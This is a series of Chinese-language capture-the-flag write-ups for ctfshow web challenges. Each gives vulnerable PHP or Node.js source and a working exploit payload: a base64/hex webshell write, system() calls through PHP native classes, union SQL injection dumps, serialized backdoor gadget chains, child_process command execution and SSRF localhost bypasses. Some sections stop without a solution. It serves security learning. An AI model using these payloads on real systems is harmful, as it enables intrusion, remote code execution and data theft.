修补了上一题通过直接命令执行或者var_dump打印类的方法

我们可以尝试使用反射类的方法,利用题目给出的('ctfshow')来拼接打印类

payload:

Text Only
?v1=1&v2=echo new Reflectionclass&v3=;

image-20241202152406295

这道题的flag少了一位,在得到的flag在替换掉0x2d后,再进行爆破即可得到flag

payload:

Python
1
2
3
4
5
a = "fa2a169a0x2da0820x2d40f30x2da5cd0x2d65ce0d29b42"
b = a.replace("0x2d","-")
hex = ["1","2","3","4","5","6","7","8","9","a","b","c","d","e"]
for i in hex:
    print("ctfshow{"+b+i+"}")

web102

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

分析一下这段代码

首先这段代码会接收三个参数v1,v2,v3

根据php的特性,当\(v2为数字时\)v4就会被赋值为1,而与$v3的值无关

所以想要进入判断,我们首先要使v2为数字

接着会通过substr对v2前两段进行截断并赋值给s

下一步就会将v1和s都传入call_user_func函数

call_user_func函数有什么用呢?

call_user_func 是 PHP 中的一个内置函数,它的主要作用是调用回调函数。

Text Only
1
2
3
4
5
6
function greet($name) {
    return "Hello, $name!";
}

$message = call_user_func('greet', 'John');
echo $message; 

我们先不管他怎么利用,接着往下看

最后会调用file_put_contents函数,那思路就很明显了,我们通过写文件来拿到flag

但是我们要将v2这一串数字经过一系列转换后写入文件并执行要怎么做呢?

假如说我们可以将php代码转换成base64后再转换成hex,而得到的hex又刚好为数字,那我们就能实现我们的目标。

那怎么进行格式转换呢?

我们可以通过call_user_func函数调用php的内置类hex2bin,将我们传入的v2转换回base64编码,接着在写文件的时候,再通过php伪协议的方式将base64先转换为我们的代码再写入文件。

经过尝试我们可以得到符合条件的代码

Text Only
1
2
3
<?=`cat *`;
base64:PD89YGNhdCAqYDs= (转hex去掉=)
hex:5044383959474E6864434171594473

我们需要在hex前面随便加两位数字来绕过截断

payload:

Text Only
v1=hex2bin
v2=665044383959474E6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

web103

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

这题相比上一题多了一个过滤

Text Only
1
2
3
4
5
6
if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }

继续用上题的方法即可

payload:

Text Only
v1=hex2bin
v2=665044383959474E6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

web104

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>

使v1=v2即可

Text Only
v1=1
v2=1

web105

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
  • 本题考查变量覆盖和die()的知识

  • $$a = $$b可以类似于,将\(a的地址指向\)b

所以无论\(b怎么改变值,\)a的值都会和$b一样

  • die()函数虽然会终止程序,但同时也会输出括号内的终止提示信息

方法一:

本题利用变量覆盖和die()函数的特性

  1. 先对get的内容进行覆盖,且不能覆盖error,所以要覆盖suces,即?suces=flag,此时suces=>flag的地址
  2. 再对post的内容进行覆盖,且不能将flag直接覆盖,所以只能error=suces,此时error=>flag的地址
  3. 此时无论进入哪个die()函数,都可以输出$flag的值

payload:

Text Only
Get: suces=flag
POST: error=suces

方法二:

Text Only
Get: ?suces=flag&flag=

先将flag的值赋给suces,再将flag的值赋为空,从而通过判断,输出suces的值

web106

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?>

我们使用数组绕过即可

Text Only
v1[]=1
v2[]=0

web107

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>

parse_str函数:它用于将字符串解析为变量,如果 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 arr 则会设置到该数组里 )。

PHP
1
2
3
4
5
6
7
<?php
   //parse_str()将查询的字符串解析到变量中
   parse_str("name=Gopal K Verma&age=45");

   echo $name."<br>";
   echo $age;
?>

其实实际上就是md5弱比较

方法一:随便给一个值给flag,将MD5转换后的值赋给v3

Text Only
v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b

方法二:数组绕过

Text Only
v3[]=1
v1="flag[]=1"

web108

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

题目给出的0x36d为16进制数,十进制为877,需要字母开头或结尾的话为877a,因为是==弱比较,可以等同于877,逆序后为a778,直接读取不行,需要加一个截断%00来绕过正则的判断。

payload

Text Only
GET:?c=a%00778

web109

考点:php原生类利用

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

关于php原生类的利用

https://blog.csdn.net/weixin_54902210/article/details/124689580

payload:

Text Only
1
2
3
v1=Exception&v2=system('cat fl36dg.txt') 
or
v1=Reflectionclass&v2=system('cat fl36dg.txt')

其他的原生类也行,比如Error

web110

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

依旧是对php原生类的利用

但是增加了对v1和v2的过滤,但是它没有过滤字母,考虑用纯字母构造payload

FilesystemIterator可以用来遍历目录,需要一个路径参数

函数getcwd可以返回当前工作路径且不需要参数,由此可以构造payload

Text Only
https://fded39f6-0eb1-430b-8f4f-42fd69937aed.challenge.ctf.show?v1=FilesystemIterator&v2=getcwd

image-20250105235948415

得到flag的位置,直接访问即可

web111

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

}
?>

这题是关于变量覆盖的题目

由于

Text Only
1
2
3
if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

所有我们可以确定v1的值只能为ctfshow

接下来看getFlag函数

Text Only
1
2
3
4
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

getFlag函数会将v1的地址指向v2,也就是说会使v1的值等于v2

var_dump则会输出变量的相关信息

那我们只需要使v2的值等于我们要查询的变量就可以读到我们的flag

但是问题来了,我们不知道要查的变量是什么,也不知道是不是在作用域里面

所这里使用超全局变量 \(GLOBALS,\)GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。

构造payload把所有全局变量全输出来

Text Only
https://feec7abc-68b0-4b95-86bc-1db857e3624a.challenge.ctf.show?v1=ctfshow&v2=GLOBALS

image-20250106003832148

web112

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(!is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这题考察的是php伪协议,虽然被ban了data、input 等伪协议,又ban了 string、data、rot13 相关的过滤器,但是还是有不少能用的伪协议和过滤器

如 php://filter(这里也用不到过滤器)

Text Only
https://c9c112c8-f426-4008-9e05-712cff76e02c.challenge.ctf.show/?file=php://filter/resource=flag.php

其他

Text Only
1
2
3
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

为什么不能直接输入flag.php呢?

Text Only
1
2
3
4
5
if(!is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

那是因为is_file("flag.php")==true,输出hacker!

web113

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这题相比上题把filter过滤了

我们可以考虑使用其他伪协议

如 compress.zlib://

Text Only
compress.zlib://flag.php

官方题解 目录溢出导致is_file认为这不是一个文件

Text Only
1
2
3
4
5
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这题ban掉了compress和root没办法使用上题的两种解法,但是把filter放出来了

Text Only
php://filter/resource=flag.php

直接读就完事了

web115

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

参考文章:ctfshow学习记录-web入门(php特性109-115&123&125-126)_ctfshow web109-CSDN博客

is_numeric可以在数字前面加空格绕过,同时加上空格也可以绕过$num!='36'

但是我们知道trim函数是移除字符串两侧的空白字符或其他预定义字符,空格等字符是会被去掉的

我们这里考虑使用%0c(换页符)进行绕过

同时使用%0c也可以绕过filter。

接下来再看第二个if判断,这是看起来很矛盾的一个判断。

来具体看一下!==的定义,只要类型不同就不全等。

php比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于 switch 语句。当用 === 或 !== 进行比较时则不进行类型转换,因为此时类型和数值都要比对。 ——《php手册》语言参考-运算符-比较运算符

也就是说!==时不进行类型转换。

所以加上%0c换页符,在==进行类型转换,所有%0c36会被转换为数值36,结果true;在!==不进行类型转换,所以字符串和数值比较,类型不同,结果true。

payload:

Text Only
?num=%0c36

sql注入

web171

Text Only
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

flag是存在于username为flag的用户的数据中,我们只需要通过

Text Only
1' or 1=1 --+

即可输出所有用户数据

web172

相比上一题,这题增加了过滤

Text Only
1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

方法一: 联合查询

因为联合查询只会显示password

Text Only
api/?id=1' union select 1,(select group_concat(schema_name) from information_schema.schemata),database()%23

/api/?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),database()%23

/api/?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()%23

//看到有3列 id,username,password

/api/?id=1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user),database()%23

//查询password发现没有flag

//查另一个表 ctfshow_user2

/api/?id=1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23

//看到flag

方法二: 将用户名字段进行编码,绕过检测

Text Only
-1' union select to_base64(username),password from ctfshow_user2 --+

方法三: 只查询密码

Text Only
-1' union select id,password from ctfshow_user2 where username='flag

web173

过滤要求查询结果中不能出现flag字段

Text Only
1
2
3
4
//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

方法一:联合查询

和上题解法一样,只是这题flag在ctfshow_user3

方法二:

只查询password

Text Only
-1' union select id,id,password from ctfshow_user3 where username='flag

方法三: 将用户名字段进行编码,绕过检测

Text Only
-1' union select to_base64(username),password from ctfshow_user3 --+

web174

输出时增加了过滤数字

Text Only
1
2
3
4
//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
}     

反序列化

PHP的魔法方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:

SCSS
__construct()类的构造函数

__destruct()类的析构函数

__call()在对象中调用一个不可访问方法时调用

__callStatic()用静态方式中调用一个不可访问方法时调用

__get()获得一个类的成员变量时调用

__set()设置一个类的成员变量时调用

__isset()当对不可访问属性调用isset()或empty()时调用

__unset()当对不可访问属性调用unset()时被调用

__sleep()执行serialize()先会调用这个函数

__wakeup()执行unserialize()先会调用这个函数

__toString()类被当成字符串时的回应方法

__invoke()调用函数的方式调用一个对象时的回应方法

__set_state()调用var_export()导出类时此静态方法会被调用

__clone()当对象复制完成时调用

__autoload()尝试加载未定义的类

__debugInfo()打印所需调试信息

web254

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

看着很长,实际上审一下代码发现账号和密码已经放出来了

Text Only
    public $username='xxxxxx';
    public $password='xxxxxx';

poc

Text Only
/?username=xxxxxx&password=xxxxxx

web255

相比上一题只是把

Text Only
$user = new ctfShowUser();

改为了

Text Only
$user = unserialize($_COOKIE['user']);

区别不大只需要通过反序列化的方式实例化ctfShowUser()即可

PHP
1
2
3
$user = new ctfShowUser();
$user->isVip=true; //不能漏
echo urlencode(serialize($user));

传参拿到flag

web256

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

相比上一道题多了个

Text Only
$this->username!==$this->password

区别不大

poc

PHP
1
2
3
4
$user = new ctfShowUser();
$user->isVip=true;
$user->username="okok";
echo urlencode(serialize($user));

传参拿到flag

web257

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这道题存在一个后门方法

我们想办法走到后面方法这一步,并通过eval执行命令即可得到flag

poc

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com

*/


class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code ='system("cat fl*");';
    public function getInfo(){
        eval($this->code);
    }
}


$user = new ctfShowUser();
echo urlencode(serialize($user));

web258

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这道题相对于上一道题需要正则表达式进行绕过

poc

PHP
<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code='system("tac ./flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);

我们可以通过+绕过

web289

flag.php

PHP
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}
PHP
1
2
3
4
5
6
7
8
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

根据题目提示存在flag.php页面且只允许

node.js

web334

login.js

JavaScript
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);

  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }

      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  

});

module.exports = router;

user.js

JavaScript
1
2
3
4
5
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

审计一下代码看到已经给出了明文的账号密码

但是要注意这里

Text Only
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

这里要去输入的账号不能为CTFSHOW,且输入的用户名转换为大写后与明文账号相同即可

那就很简单了,输入小写的ctfshow和密码123456即可得到flag

image-20241213215625920

web335

image-20241213215731651

查看源代码得到hint

image-20241213215755455

看到eval猜测是命令执行,js中的eval函数的利用与php中的有所不同

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

payload:

Text Only
1
2
3
4
5
6
7
/?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()

require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

那为什么下面的方法会回显[object object]呢?

Text Only
require('child_process').exec('calc'); //这题不知道为什么exec用不了

当你在 Web 界面通过某种命令注入手段调用 Node.js的 child_process 时,如果希望直接在页面上看到命令输出结果,execsync 会更直观。它会阻塞直到命令执行结束,并将结果返回给你的代码,你能直接以字符串形式处理和展示。而 exec则需要通过回调来拿结果,如果没写回调或没正确处理,就只会看到一个[object object]的返回。

web336

这题跟上一题差不多,但是貌似把execSync办了

用其他方法即可

Text Only
1
2
3
4
require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

web337

JavaScript
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

SSRF

web351

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

没有过滤,直接读文件

Payload:

Text Only
url=127.0.0.1/flag.php
url=localhost/flag.php

web352

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这道题限制了只能使用http和https协议

同时也添加了过滤

Text Only
if(!preg_match('/localhost|127.0.0/'))

缺省法

payload:

Text Only
1
2
3
4
5
url=http://127.1/flag.php

url=http://0/flag.php
//windows中解析为0.0.0.0
//linux解析为127.0.0.1

or

使用十进制绕过

payload:

Text Only
url=http://2130706433/flag.php

web353

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤

Text Only
!preg_match('/localhost|127\.0\.|\。/i', $url)

这题依旧可以用上题方法解决

其他payload:

Text Only
1
2
3
// 127.0.0.1 ~ 127.255.255.254 都表示 localhost

url=http://127.255.255.254/flag.php

127开头都会被解析为localhost

web354

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

